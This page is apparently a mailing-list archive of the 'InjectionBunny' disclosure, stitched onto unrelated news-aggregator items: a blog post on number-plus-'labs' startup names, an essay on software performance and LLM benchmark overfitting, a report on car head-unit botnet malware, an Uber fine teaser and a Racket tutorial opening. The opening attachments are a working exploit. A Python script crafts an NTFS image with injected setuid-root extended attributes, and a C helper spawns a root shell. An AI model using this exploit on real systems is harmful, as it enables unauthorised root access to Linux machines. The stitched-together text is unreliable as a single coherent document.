[-- Attachment #3: injection_bunny.py --]
[-- Type: text/x-python, Size: 14573 bytes --]

#!/usr/bin/env python3
"""
InjectionBunny - NTFS3 SUID Injection LPE

Creates a malicious NTFS filesystem image. When this image is mounted
(e.g., from a USB drive), a binary on it appears as setuid-root.
Running it gives an interactive root shell.

Usage:
    python3 injection_bunny.py [--helper /path/to/suidhelper] [--output evil_usb.img]
"""

import struct
import subprocess
import sys
import os
import shutil
import tempfile

# NTFS constants
MFT_RECORD_SIZE = 1024
SECTOR_SIZE = 512
ATTR_TYPE_EA = 0xE0
ATTR_TYPE_EA_INFO = 0xD0
ATTR_TYPE_END = 0xFFFFFFFF
FILE_RECORD_MAGIC = b'FILE'

# WSL EA values
LXUID_VALUE = struct.pack('<I', 0)        # uid=0 (root)
LXGID_VALUE = struct.pack('<I', 0)        # gid=0 (root)
LXMOD_VALUE = struct.pack('<I', 0o104755) # S_IFREG | S_ISUID | 0755 = 0x89ED


def build_ea_entry(name: bytes, value: bytes, next_offset: int = 0) -> bytes:
    """Build a single NTFS EA entry."""
    # EA entry format:
    #   4 bytes: NextEntryOffset (0 for last, offset to next entry from start of this one)
    #   1 byte: Flags (0)
    #   1 byte: EaNameLength (not counting null terminator)
    #   2 bytes: EaValueLength
    #   N bytes: EaName (null-terminated)
    #   M bytes: EaValue
    #   Padding to 4-byte boundary
    name_len = len(name)
    value_len = len(value)
    
    entry = struct.pack('<I', 0)  # NextEntryOffset (will be patched)
    entry += struct.pack('<B', 0)  # Flags
    entry += struct.pack('<B', name_len)  # EaNameLength
    entry += struct.pack('<H', value_len)  # EaValueLength
    entry += name + b'\x00'  # Name + null terminator
    entry += value
    
    # Pad to 4-byte boundary
    while len(entry) % 4 != 0:
        entry += b'\x00'
    
    return entry


def build_ea_attribute(entries: list) -> bytes:
    """Build complete list of EA entries with correct NextEntryOffset values."""
    built_entries = []
    for name, value in entries:
        built_entries.append(build_ea_entry(name, value))
    
    # Now fix NextEntryOffset for all except the last
    result = b''
    for i, entry in enumerate(built_entries):
        if i < len(built_entries) - 1:
            # Patch NextEntryOffset to point to next entry
            offset = len(entry)
            entry = struct.pack('<I', offset) + entry[4:]
        result += entry
    
    return result


def build_resident_attr(attr_type: int, data: bytes, name: bytes = b'') -> bytes:
    """Build a resident NTFS attribute header + data."""
    # Attribute header for resident:
    #   4 bytes: Type
    #   4 bytes: Length (total including header)
    #   1 byte: Non-resident flag (0 = resident)
    #   1 byte: Name length (in chars)
    #   2 bytes: Name offset
    #   2 bytes: Flags
    #   2 bytes: Instance
    #   4 bytes: Value length
    #   2 bytes: Value offset
    #   1 byte: Indexed flag
    #   1 byte: Padding
    
    name_len = len(name) // 2  # UTF-16 chars
    header_size = 24  # Fixed header size for resident attr
    name_offset = header_size if name_len > 0 else 0
    value_offset = header_size + len(name)
    # Align value to 8 bytes
    while value_offset % 8 != 0:
        value_offset += 1
    
    total_len = value_offset + len(data)
    # Align total to 8 bytes
    while total_len % 8 != 0:
        total_len += 1
    
    header = struct.pack('<I', attr_type)
    header += struct.pack('<I', total_len)
    header += struct.pack('<B', 0)  # Resident
    header += struct.pack('<B', name_len)
    header += struct.pack('<H', name_offset if name_len else header_size)
    header += struct.pack('<H', 0)  # Flags
    header += struct.pack('<H', 0)  # Instance
    header += struct.pack('<I', len(data))  # Value length
    header += struct.pack('<H', value_offset)  # Value offset
    header += struct.pack('<B', 0)  # Indexed
    header += struct.pack('<B', 0)  # Padding
    
    # Add name if any
    attr = header + name
    # Pad to value offset
    while len(attr) < value_offset:
        attr += b'\x00'
    attr += data
    # Pad to total length
    while len(attr) < total_len:
        attr += b'\x00'
    
    return attr


def build_ea_info_data(ea_data: bytes) -> bytes:
    """Build EA_INFORMATION attribute data.
    
    EA_INFORMATION (0xD0):
      2 bytes: PackedEaSize (size of packed EA list)
      2 bytes: NeedEaCount
      4 bytes: UnpackedEaSize
    """
    packed_size = len(ea_data)
    return struct.pack('<HHI', packed_size, 0, packed_size)


def fixup_mft_record(record: bytearray) -> bytearray:
    """Apply NTFS fixup (update sequence) to an MFT record."""
    # Read the update sequence offset and count from the record header
    usa_offset = struct.unpack_from('<H', record, 4)[0]
    usa_count = struct.unpack_from('<H', record, 6)[0]
    
    # The first entry in the USA is the update sequence number
    usn = struct.unpack_from('<H', record, usa_offset)[0]
    
    # For each sector in the record, restore the last 2 bytes from USA
    # and set the last 2 bytes to the USN
    # Actually for WRITING, we need to:
    # 1. Save the last 2 bytes of each sector into the USA array
    # 2. Write the USN into the last 2 bytes of each sector
    
    usn_new = (usn + 1) & 0xFFFF
    if usn_new == 0:
        usn_new = 1
    
    struct.pack_into('<H', record, usa_offset, usn_new)
    
    for i in range(1, usa_count):
        sector_end = i * SECTOR_SIZE - 2
        # Save original last 2 bytes into USA
        orig = struct.unpack_from('<H', record, sector_end)[0]
        struct.pack_into('<H', record, usa_offset + i * 2, orig)
        # Write USN at sector end
        struct.pack_into('<H', record, sector_end, usn_new)
    
    return record


def undo_fixup(record: bytearray) -> bytearray:
    """Undo NTFS fixup to get raw record content."""
    usa_offset = struct.unpack_from('<H', record, 4)[0]
    usa_count = struct.unpack_from('<H', record, 6)[0]
    
    for i in range(1, usa_count):
        sector_end = i * SECTOR_SIZE - 2
        # Restore from USA
        orig = struct.unpack_from('<H', record, usa_offset + i * 2)[0]
        struct.pack_into('<H', record, sector_end, orig)
    
    return record


def find_mft_offset(img_path: str) -> int:
    """Find the byte offset of the MFT in the NTFS image."""
    with open(img_path, 'rb') as f:
        # Read boot sector
        boot = f.read(512)
        # Bytes per sector at offset 0x0B (2 bytes)
        bytes_per_sector = struct.unpack_from('<H', boot, 0x0B)[0]
        # Sectors per cluster at offset 0x0D (1 byte)
        sectors_per_cluster = struct.unpack_from('<B', boot, 0x0D)[0]
        # MFT cluster number at offset 0x30 (8 bytes)
        mft_cluster = struct.unpack_from('<Q', boot, 0x30)[0]
        
        cluster_size = bytes_per_sector * sectors_per_cluster
        mft_offset = mft_cluster * cluster_size
        
        print(f"  Bytes/sector: {bytes_per_sector}")
        print(f"  Sectors/cluster: {sectors_per_cluster}")
        print(f"  Cluster size: {cluster_size}")
        print(f"  MFT cluster: {mft_cluster}")
        print(f"  MFT offset: {mft_offset} (0x{mft_offset:x})")
        
    return mft_offset


def find_file_record(img_path: str, mft_offset: int, filename: str) -> int:
    """Find MFT record number for a given filename by scanning MFT entries."""
    target = filename.encode('utf-16-le')
    
    with open(img_path, 'rb') as f:
        # Scan MFT records (start from record 24+ which is where user files start)
        for rec_num in range(24, 256):
            offset = mft_offset + rec_num * MFT_RECORD_SIZE
            f.seek(offset)
            record = bytearray(f.read(MFT_RECORD_SIZE))
            
            if record[:4] != FILE_RECORD_MAGIC:
                continue
            
            # Undo fixup to read attributes
            record = undo_fixup(record)
            
            # Check if this record contains our filename
            if target in record:
                print(f"  Found '{filename}' at MFT record {rec_num} (offset 0x{offset:x})")
                return rec_num
    
    return -1


def inject_ea_into_record(img_path: str, mft_offset: int, rec_num: int, ea_data: bytes):
    """Inject EA attribute into an MFT record."""
    offset = mft_offset + rec_num * MFT_RECORD_SIZE
    
    with open(img_path, 'r+b') as f:
        f.seek(offset)
        record = bytearray(f.read(MFT_RECORD_SIZE))
    
    if record[:4] != FILE_RECORD_MAGIC:
        raise ValueError(f"Invalid MFT record at offset 0x{offset:x}")
    
    # Undo fixup
    record = undo_fixup(record)
    
    # Parse record header
    # Offset 0x14: first attribute offset
    first_attr_offset = struct.unpack_from('<H', record, 0x14)[0]
    # Offset 0x18: real size of record (used bytes)
    used_size = struct.unpack_from('<I', record, 0x18)[0]
    
    print(f"  Record first_attr_offset: {first_attr_offset}")
    print(f"  Record used_size: {used_size}")
    
    # Walk attributes to find the END marker
    pos = first_attr_offset
    last_attr_end = pos
    
    while pos < used_size - 8:
        attr_type = struct.unpack_from('<I', record, pos)[0]
        if attr_type == ATTR_TYPE_END:
            break
        attr_len = struct.unpack_from('<I', record, pos + 4)[0]
        if attr_len == 0 or attr_len > MFT_RECORD_SIZE:
            break
        last_attr_end = pos + attr_len
        pos += attr_len
    
    print(f"  END marker at offset {pos}")
    print(f"  Last attribute ends at {last_attr_end}")
    
    # Build EA_INFORMATION attribute (must come before EA)
    ea_info_data = build_ea_info_data(ea_data)
    ea_info_attr = build_resident_attr(ATTR_TYPE_EA_INFO, ea_info_data)
    
    # Build EA attribute
    ea_attr = build_resident_attr(ATTR_TYPE_EA, ea_data)
    
    # Check if there's enough space
    new_attrs_size = len(ea_info_attr) + len(ea_attr)
    available = MFT_RECORD_SIZE - pos - 8  # 8 for END marker + padding
    
    print(f"  EA_INFO attr size: {len(ea_info_attr)}")
    print(f"  EA attr size: {len(ea_attr)}")
    print(f"  Total new attrs: {new_attrs_size}")
    print(f"  Available space: {available}")
    
    if new_attrs_size + 8 > available:
        raise ValueError(f"Not enough space in MFT record! Need {new_attrs_size + 8}, have {available}")
    
    # Insert at pos (where END marker was)
    # Write EA_INFO, then EA, then END marker
    insert_pos = pos
    record[insert_pos:insert_pos + len(ea_info_attr)] = ea_info_attr
    insert_pos += len(ea_info_attr)
    record[insert_pos:insert_pos + len(ea_attr)] = ea_attr
    insert_pos += len(ea_attr)
    
    # Write END marker
    struct.pack_into('<I', record, insert_pos, ATTR_TYPE_END)
    struct.pack_into('<I', record, insert_pos + 4, 0)
    
    # Update used size in record header
    new_used = insert_pos + 8
    struct.pack_into('<I', record, 0x18, new_used)
    
    print(f"  New used size: {new_used}")
    
    # Apply fixup
    record = fixup_mft_record(record)
    
    # Write back
    with open(img_path, 'r+b') as f:
        f.seek(offset)
        f.write(record)
    
    print(f"  EA injected successfully!")


def create_ntfs_image(img_path: str, size_mb: int = 8):
    """Create a fresh NTFS image using mkfs.ntfs."""
    print(f"[*] Creating {size_mb}MB NTFS image: {img_path}")
    
    # Create empty file
    with open(img_path, 'wb') as f:
        f.seek(size_mb * 1024 * 1024 - 1)
        f.write(b'\x00')
    
    # Format as NTFS
    subprocess.run(['mkfs.ntfs', '-F', '-Q', '-s', '512', img_path],
                   check=True, capture_output=True)
    print(f"  NTFS image created")


def copy_file_to_ntfs(img_path: str, src_path: str, dst_name: str):
    """Copy a file into the NTFS image using ntfs-3g mount."""
    mount_point = tempfile.mkdtemp(prefix='ntfs_mount_')
    
    try:
        # Try mounting with ntfs-3g (FUSE)
        subprocess.run(['mount', '-t', 'ntfs-3g', '-o', 'loop,rw', img_path, mount_point],
                       check=True, capture_output=True)
        
        dst_path = os.path.join(mount_point, dst_name)
        shutil.copy2(src_path, dst_path)
        os.chmod(dst_path, 0o755)
        
        print(f"  Copied {src_path} -> {dst_name} in NTFS image")
        
        subprocess.run(['umount', mount_point], check=True, capture_output=True)
    except subprocess.CalledProcessError as e:
        print(f"  Mount/copy failed: {e.stderr.decode() if e.stderr else e}")
        # Try ntfscopy as fallback
        try:
            subprocess.run(['umount', mount_point], capture_output=True)
        except:
            pass
        try:
            subprocess.run(['ntfscp', img_path, src_path, dst_name],
                           check=True, capture_output=True)
            print(f"  Copied with ntfscp: {src_path} -> {dst_name}")
        except subprocess.CalledProcessError as e2:
            raise RuntimeError(f"Failed to copy file to NTFS: {e2}")
    finally:
        try:
            os.rmdir(mount_point)
        except:
            pass


def main():
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <output.img> <binary_to_inject>")
        print(f"  Creates NTFS image with the binary having SUID root via $LXMOD EA")
        sys.exit(1)
    
    img_path = sys.argv[1]
    binary_path = sys.argv[2]
    target_name = "pwn"
    
    if not os.path.exists(binary_path):
        print(f"[-] Binary not found: {binary_path}")
        sys.exit(1)
    
    print("=" * 60)
    print("  InjectionBunny - Crafting malicious NTFS image")
    print("=" * 60)
    print()
    
    create_ntfs_image(img_path)
    
    print(f"\n[*] Embedding payload binary as '{target_name}'")
    copy_file_to_ntfs(img_path, binary_path, target_name)
    
    print(f"\n[*] Locating filesystem metadata")
    mft_offset = find_mft_offset(img_path)
    
    print(f"\n[*] Patching file record")
    rec_num = find_file_record(img_path, mft_offset, target_name)
    if rec_num < 0:
        print(f"[-] Could not find '{target_name}' in image!")
        sys.exit(1)
    
    print(f"\n[*] Injecting setuid-root permissions into image metadata")
    
    ea_entries = [
        (b'$LXUID', LXUID_VALUE),
        (b'$LXGID', LXGID_VALUE),
        (b'$LXMOD', LXMOD_VALUE),
    ]
    ea_data = build_ea_attribute(ea_entries)
    
    inject_ea_into_record(img_path, mft_offset, rec_num, ea_data)
    
    print(f"\n[+] InjectionBunny image ready: {img_path}")
    print(f"[+] Write to USB drive or mount with: mount -t ntfs3 -o loop {img_path} /mnt")
    print(f"[+] Then run /mnt/{target_name} to get root shell")
    print()


if __name__ == '__main__':
    main()

[-- Attachment #4: suidhelper.c --]
[-- Type: text/x-c-code, Size: 377 bytes --]

#include <unistd.h>
#include <stdio.h>

int main(void)
{
    setgid(0);
    setuid(0);

    printf("[>] uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid());
    printf("[>] Got root.\n\n");

    char *argv[] = { "sh", NULL };
    char *envp[] = { "PATH=/bin:/sbin:/usr/bin:/usr/sbin", "HOME=/root", "TERM=linux", NULL };
    execve("/bin/sh", argv, envp);
    return 1;
}

[-- Attachment #5: InjectionBunny.mov --]
[-- Type: video/quicktime, Size: 10616310 bytes --]

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2026-08-07 10:39 UTC | newest]

Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
     [not found] <CAGBKPgMqBMsBH4mm2fwggA8rJZ3R15nPxuEh0emOeVpX2kgHPA@mail.gmail.com>
2026-08-07 10:39 ` Fwd: InjectionBunny: NTFS3 SUID injection leading to local privilege escalation vova tokarev

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

ElevenLabs, TwelveLabs, ThirteenLabs

Hacker News
quantumi.sh
2026-08-22 10:54:07
Comments...
Original Article

You may have heard of the speech synthesis company ElevenLabs. Recently a friend mentioned they knew someone who worked at a company called Twelve Labs that does AI for video (it feels like it must have been intended to play on the fact that ElevenLabs does audio, but I don't know for sure). Jokingly, I googled "thirteenlabs" and was surprised to find an AI for 3D scenery project. I googled "fourteenlabs". Another AI startup…?? How far does this go?

Numbers 0-99 annotated with links to companies using it + "labs" as their name.
A link has a background if the company is AI-related.

My loose criteria
  • The company must have some online presence (not necessarily a website, but usually one).
  • The word "labs" (or somtimes "lab") must either go after or before the number (spelled or numeric). There's plenty of companies named after a number - what I'm after is the weird trend of number + "labs".
  • If there were multiple, I picked the one that was most similar to ElevenLabs (and thus more likely to have gotten the name inspiration from there?).
  • Every company sort of wants to be an AI company now, so it's hard to definitely say what companies are AI related. I marked it if the domain had a .ai TLD or if all of their main products involved AI in a central capacity.

This really just raised more questions than answers. Why is this such a popular naming scheme? Are people independently arriving at this naming scheme? Why call your AI startup "68labs"? Why are the seventies so much more dense than the rest of the higher numbers? Also, I'm tempted to speculatively buy up domains like "twentyfivelabs" or "thirtytwolabs"…

One fun discovery: among all the incredibly same-y startup websites, there is seventyonelab.com . Alongside the usual "all rights reserved" text, it politely informs you it is

best viewed in Netscape 4/0+ or IE 5.0+

Amazing. It looks like a design/webdev portfolio from the early 2000s and is full of fun little sites. I particularly like the aesthetic of the landing page and the other versions of it in the "little project" section. They sort of remind me of what I recently heard referred to as the "vectorheart" aesthetic (like what you'd see on 2000s IDM album covers!).

There continue to be reasons for software to be slow

Lobsters
typesanitizer.com
2026-08-22 10:31:21
Comments...
Original Article

Dan Luu recently published a blog post There’s no reason for software to be slow anymore which talks about how various kinds of things are cheaper to do nowadays by virtue of having access to LLMs such as building specialized solutions (e.g. JITs, indexes for search-like problems) as well as workload-specific optimizations.

We’re not quite at the point where we want to write everything in assembly, but some variant of what Nolan Lawson said about testing, you can choose how many bugs you want now , which I less eloquently noted here, is becoming more true for performance.

I believe that this statement as written is well-intentioned but incorrect, in much of the same way in which the statement made by Lawson is well-intentioned but incorrect, and in the same way that formal methods advocates arguing that an increasingly larger fraction The phrase “fraction” is deliberate here. If it were “quantity” instead, it really wouldn’t be a debate. of software will be formally verified are well-intentioned but incorrect. To be clear, I’m very much in favor of better testing, use of formal methods, as well as performance work! I’ve done work along these lines at multiple jobs, including my current one! It’s just that I don’t agree with these predictions about the future.

In essence, the argument that’s been offered in all of these places goes something like: I’m using $ signs, but you could substitute in “engineer E’s time” if you’d like.

  1. Desirable property X used to cost $A over the budget $B
  2. Pre-LLMs, the reason people didn’t aim for X was it was over budget
  3. Post-LLMs, getting X costs $A/N < $B because N >> 1.

If these premises hold, then people will now spend $A/N for X.

On the face of it, if you’ve personally found LLMs useful at improving property X, the argument seems sensible. You might be thinking “this also assumes that people are rational economic actors with perfect knowledge.” Yes, that’s correct. Most of this post will assume that and show how things can go wrong even with such a strong assumption. In practice, yes people are not rational and don’t have perfect knowledge. I’m ignoring that for this post because there’s already a lot of writing on that topic. But it only works in practice if the premises hold.

I agree that there are situations where these premises hold. Will certain highly experienced people with deep domain expertise (like the ones cited in Luu’s post) do a bunch more optimizations, or work on teams which ship many more optimizations than before? Yeah, I think that’s definitely going to happen.

However, based on what I’ve seen so far, the situations in which the premises hold are far outweighed by the situations in which they do not hold.

In this post, I’m going to give examples of situations in which I’ve seen these premises not holding.

The tolerance for ‘not X’ goes up

(Or: “the desirability for X goes down”)

One of the differences with the advent of LLMs is that the work you would do synchronously now potentially needs to be done asynchronously, due to latency of agentic loop iterations.

As a concrete example of this, I’ve been working on improving git performance for our monorepo at work recently. If you took the performance numbers we see today on a good day, and you gave them to me from 2022, and told me that people find the same numbers acceptable, I would likely have given you a very skeptical or confused look.

As another example, the latency for LLM-based auto-complete used to be much higher than standard IDE auto-complete when it was introduced. This changed later as Cursor and other editors introduced smaller, specialized models for faster completions. Around that time, if you saw videos of developers live-coding, you’d notice them having small pauses waiting for the LLM suggestions. But historically, one of the reasons auto-completion was purportedly prized was the “instant” feedback!

This point also applies to things like compilation speed, link times, time to run tests etc. In general, people’s tolerances for synchronous work and asynchronous work are quite different.

If you’re a performance-minded person, it can be hard to accept that people are actually fine with putting up with worse performance in software, especially if you already believe that the performance of said software is “too slow.” It can be doubly-frustrating if the same people are willing to put up with worse performance specifically in exchange for more features , especially if you already believe that the said software is “too bloated.”

The budget was zero from the start

Outside of well-paying tech companies that treat developers well, granting them a fair amount of autonomy, it’s common in many companies for the software function to be perceived as a “cost center” instead of a “profit center”.

There may not even be a CI process – it may be entirely reliant on manual QA. Getting budget approvals might take ages.

And yet, the business might be doing well! For example, the company might have a government-granted monopoly. Or it might have some other form of power .

If the environment is entirely focused on keeping costs low, it likely requires a fair bit of effort to convince a manager of the return on investment (RoI) of working on performance. It’s plausible that this effort is better spent elsewhere.

The budget got reduced post-LLMs

Say the budget started out at non-zero. For example, you might’ve already been spending about 1 week on performance every quarter. Depending on your past experience, this may sound ridiculously generous or way too low. I’m aware there’s a wide range. 🙂

Even so, there’s an implicit assumption that the budget $B for obtaining the property X is unchanged post-LLMs. This assumption often fails to hold.

If you browse the r/experienceddevs subreddit , it’s not uncommon to see engineers talking about how, over the past year, timelines for projects are getting squeezed tighter, because management expects things to take much less time due to LLMs.

The cost reduction factor N is over-estimated

It is one thing to implement an optimization. It is another thing to ship the optimization in heavily-used production software. It is yet another thing to set up a ratchet to prevent the code from regressing in the future. It is yet another thing to make sure the ratchet is reliable (low/no false negatives/positives), efficient (runs sufficiently quickly) and stable (doesn’t need constant upkeep).

In my previous post on code review , I gave an example of a situation where a colleague tried to reduce latency for an operation by moving it to a background process, and increased the risk of a lock-acquisition failure.

More generally, it’s easy for people unfamiliar with a system to jump in with “performance optimizations” that actually compromise an aspect of the design that is critical to correctness.

As a more prominent example, Jarred Sumner (creator of Bun) supposedly had a fork of the Zig compiler with parallelized semantic analysis and codegen .

One of the key contributors to the Zig compiler, Matthew Lugg, articulated why this change was not upstreamable (even ignoring the Zig policy on no LLM contributions)

Parallel semantic analysis has been an explicitly planned feature of the Zig compiler for a long time, and it has heavily influenced the design of the self-hosted Zig compiler. However, implementing this feature correctly has implications not only for the compiler implementation, but for the Zig language itself! Therefore, to implement this feature without an avalanche of bugs and inconsistencies, we need to make language changes.

(..) The rewritten type resolution semantics were designed to avoid these issues, but Bun’s Zig fork does not incorporate the changes (and has not otherwise solved the design problems), which means their parallelized semantic analysis implementation will exhibit non-deterministic behavior. That’s pretty much a non-starter for most serious developers: you don’t want your compilation to randomly fail with a nonsense error 30% of the time.

Another way to look at this point is that the cost of writing the code is only one part of the picture. It may not be the dominant cost.

As two high-level examples:

  • If there is already a large amount of data stored in a format that’s not amenable to optimized processing, the cost of optimizing performance needs to account for the cost of reorganizing the data into the right form, while maintaining the reliability, performance and correctness of existing read and write paths. It also needs to account for the cost of migrating the existing code.

    Worse, you might not even know all the read and write paths, in which case the cost of figuring those out needs to be taken into account.

  • If you’re paying for compute over the data, experimenting with different strategies to optimize the computation can itself be expensive.

    For example, if you’re hitting a flakiness bug only in 1/1000 CI runs, and you can’t reproduce it out of CI, then the cost of CI time to reproduce the bug with sufficient detail can easily dwarf the cost of writing the fix.

Relatedly, one other challenge that comes up is that it’s more difficult to estimate the long tail of costs associated with maintenance: lost code comprehension lost due to the complexity of optimizations, the need to hire more experienced people who can maintain the system, additional correctness checks needed, and so on.

Budget was never the reason for not aiming for X

Instead of cost, I think it’s more useful to think about what work gets done in terms of priority.

For simplicity, let’s say we’re talking about sprint-based planning. Say, on average, pre-LLMs, each person on the team tackled 4 tickets per sprint. Suppose that performance work usually ended up being #6 on the list for someone. At 4 tickets per sprint, this means the performance work would just keep staying on the sprint planning board across several sprints as an aspirational goal.

If your experience is anything like mine, chances are you’ve had tickets which have passed through multiple sprints at sufficiently low priority, and that after a while, someone says “hey, we’re not tackling this, so it’s clearly not high priority, so should we just mark it as Canceled, at least until someone outside the team asks for it again?”

Now, post-LLMs, say each person can tackle 12 items. Is that list going to stay the same, with just more items pulled in from the backlog so that everyone has enough work?

I suspect the answer here for most people is going to be No. If you were not able to successfully advocate for performance work as a higher priority pre-LLMs, it’s unclear as to why you’d be able to do it post-LLMs. You can just do it on the side for sure (aka “asking for forgiveness instead of permission”), but you could also do that pre-LLMs.

Re-visiting Luu’s examples

From Luu’s post, there are two examples I’d like to discuss, because the code is available, and they represent complex tasks:

  1. pgrust: A rewrite of Postgres in Rust.
  2. FRE: A regex engine built by an agent loop running over a month.

For pgrust, the headline here is excellent performance on ClickBench, supposedly due to the use of LLM-driven optimization. The other point that’s brought up is that supposedly people don’t write JITs (in the context of databases) because that’s too difficult, but LLMs make that accessible.

Based on a cursory view, it’s unclear as to how much of this excellent performance is down to performance-hacking that overfits the benchmark vs an excellent design that generalizes. For example, if you look at the cost model , you’ll see that it explicitly references ClickBench all over the place.

If you look at the profile-guided optimization corpus , it has queries like:

-- A15 composite (smallint, string) group + count
SELECT URLCategoryID, UTMSource, COUNT(*) AS n FROM hits WHERE UTMSource <> '' GROUP BY URLCategoryID, UTMSource ORDER BY n DESC LIMIT 12;

If you look at ClickBench, line number 15 :

SELECT SearchEngineID, SearchPhrase, COUNT(*) AS c FROM hits WHERE SearchPhrase <> '' GROUP BY SearchEngineID, SearchPhrase ORDER BY c DESC LIMIT 10;

If you squint a bit, you’ll realize that these are conceptually the same query, just with some names changed, and a constant changed slightly (the LIMIT value).

This bit applies to many of the queries used for PGO. It’s possible that I’m misreading things, but this seems like a clear-cut case of overfitting to the benchmark.

On the point about other people not writing JITs, there are at least a few database engines which implement JITs.

I’m guessing there are more examples out there.


For FRE , the README states:

FRE is an LLM-generated regex engine made with minimal human intervention. It appears to be overfitted to BurntSushi’s rebar benchmarks and doesn’t have great general performance, although there are some uses cases where it’s actually pretty fast. See this post for more details. It’s sometimes (but not always) fast when you don’t care about compilation time and select the AOT/Optimizing compiled mode. Other cases where it’s fast are often more idiosyncratic.

Here’s a quick question. Estimate the implementation SLOC for the following projects (excluding generated code and tests):

  • rust-lang/regex
  • danluu/fre

I asked an LLM to estimate these numbers, and it came back with 35K for rust-lang/regex and 670K for danluu/fre. No, I didn’t mess up a zero.

As another point of reference, the Go compiler and standard library combined, if we exclude generated code, tests, and vendored directories, ends up at about 680K SLOC.

Luu makes the following notes about preferences:

There’s no particular reason to use a “software factory” regex engine that doesn’t beat a well-tested regex engine on holdout benchmarks, but one notable thing about FRE was that the native AOT compiled version did quite well at longer searches. We noted that, it stands to reason that one could run the native code compiler in another thread while ripgrep was running its normal matcher and then cut over to the native code when it finished compiling and generally get better performance. Of course this will generally result in worse performance for short queries as we lose a thread to compilation, but I care a lot more about how long ripgrep takes when it runs for many seconds or minutes than when it runs for a few seconds, so I’m ok with that tradeoff.

I guess that makes some sense from the POV of running some queries, especially if no third-party dependencies are involved, and one does not recompile the 670K SLOC often.

It’s unclear if such an approach makes sense from the POV of software developed in a team context, for general use, which has reliability requirements, and responsibility is assigned to maintainers when things go wrong.

Closing thoughts

To be clear, I don’t want slower (or buggier) software.

Historically, there is a clear trend of performance tools getting better over time. From browser DevTools to eBPF, at different layers, there are increasingly more tools for debugging performance issues. Hardware also keeps getting faster.

At the same time, I think there’s general agreement that the average piece of software is getting slower and more resource-hungry, and that webpages are getting heavier, etc.

I think some part of it is certainly real .

For example, if you’ve used coding harnesses shipped by any of the major model providers, you’ve probably noticed how poor they are in terms of performance, resource utilization and overall bugginess, relative to the complexity of the feature set that’s in the harness (vs native to the model).

Routinely, I see the time to set up MCPs and just overall time-to-responsiveness in coding agent TUIs to be longer than it takes a build system to incrementally compile and re-link a binary for a multi-million-line C++ codebase.

At the same time, I’m willing to consider that some part of it is imagined. For example, most people, across age groups, think that morality has declined, but it hasn’t . The explanation provided for this is:

[..] two well-known psychological phenomena can combine to produce an illusion of moral decline. One is biased exposure: people pay disproportionate attention to negative information, and media companies make money by giving it to us. The other is biased memory: the negativity of negative information fades faster than the positivity of positive information. (This is called the Fading Affect Bias; for more, see Underrated ideas in psychology).

Biased exposure means that things always look outrageous: murder and arson and fraud, oh my! Biased memory means the outrages of yesterday don’t seem so outrageous today. When things always look bad today but brighter yesterday, congratulations pal, you got yourself an illusion of moral decline.

So yeah, maybe this is useful to keep in mind when you next run into an example of slow software, because whether you like it or not, I think you’re going to hit it regardless.

Hackers infect Android car head units with proxy botnet malware

Bleeping Computer
www.bleepingcomputer.com
2026-08-22 10:14:24
A supply-chain attack targeting Android-based car head units is using a legitimate device-update app to spread malware that enlists compromised devices in a proxy botnet or uses them for ad fraud. [...]...
Original Article

Hackers infect Android car head units with proxy botnet malware

A supply-chain attack targeting Android-based car head units is using a legitimate device-update app to spread malware that enlists compromised devices in a proxy botnet or uses them for ad fraud.

Kaspersky researchers analyzed the malware and attributed the operation to the MoYu group, a threat actor previously associated with the BadBox malware botnet .

The researchers note that this is the first documented case of a malware infection chain specifically created for the targeted car head unit.

image

MoYu's operation targets systems from DoFun, a Chinese automotive software and hardware provider owned by Shenzhen Driving Control Technology Co., Ltd.

DoFun is an automotive software, cloud services, and hardware provider that sells generic Android-based head units , which act as the command center for a car's infotainment, navigation, and settings systems.

In June, Kaspersky researchers found a rogue APK file being downloaded from a legitimate DoFun system app, TWCore, which receives instructions through an MQTT server hosted at cardoor[.]cn.

The unknown app has no interface and is a piece of malware called JarService. When launched, the malware decrypts and executes a second-stage loader that establishes communication with a command-and-control (C2) server and downloads another encrypted payload.

The final payload periodically reports device information such as the model, display resolution, Wi-Fi SSID, and MAC address, and retrieves commands from the attackers.

The malware supports the following nine commands:

  1. return - Retrieves a specified value from Android’s SharedPreferences storage
  2. copy - Copies stored or downloaded content to the device clipboard
  3. http - Sends HTTP GET or POST requests and can save part of the response
  4. web - Opens a URL in a WebView and executes supplied JavaScript
  5. loadlib - Not fully implemented when Kaspersky published the report
  6. loadlib2 - Downloads and executes arbitrary code or additional modules
  7. loadlib3 - Not fully implemented when Kaspersky published the report
  8. deeplink - Opens a specified resource in the browser
  9. traceroute - Checks whether specified hosts are reachable using ICMP ping

Kaspersky says the malware does not interfere with driving or critical vehicle control systems, and appears designed for advertising fraud and turning internet-connected car head units into residential proxy nodes for monetization purposes.

The head unit infection scheme
The head unit infection scheme
Source: Kaspersky

Researchers discovered that the operator primarily loaded a reverse-proxy module named ‘zhima,’ which turns the head unit into a proxy botnet node, and also made web requests for click-fraud activity.

Kaspersky says it notified DoFun of its findings, and the Chinese firm replied that it resolved the problem.

BleepingComputer has contacted both companies with questions about the initial compromise vector, and we will update the article with the information once received.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Dutch Regulator Fines Uber $1 Billion Suspending Dishonest Drivers

Daring Fireball
www.reuters.com
2026-08-22 10:12:07
Toby Sterling, reporting for Reuters: The Dutch Data Protection Authority has fined Uber €825 million ($966 million) for deactivating driver accounts through automated systems without adequately informing them, according to an August 17 decision reviewed by Reuters. The penalty would be the sec...
Original Article

Please enable JS and disable any ad blocker

A Friendly Introduction to Racket

Hacker News
geometridae.bearblog.dev
2026-08-22 10:08:19
Comments...
Original Article

steal-your-face-plt

"Lisp is worth learning for the profound enlightenment experience you will have when you finally get it." — Eric S. Raymond


Welcome. Today you'll learn a language from one of programming's oldest and most unusual families. A language where code is data, where parentheses are pure structure, and where programs can write programs. By the end of this tutorial, you'll have written your own syntax.


A bit of history

Lisp was born in 1958 , invented by John McCarthy at MIT. For context: it's the second-oldest high-level language still in use (only Fortran, from 1957, beats it by a year). Python arrived in 1991. JavaScript in 1995. Lisp predates them by more than 30 years and several ideas we now consider "modern" were born there:

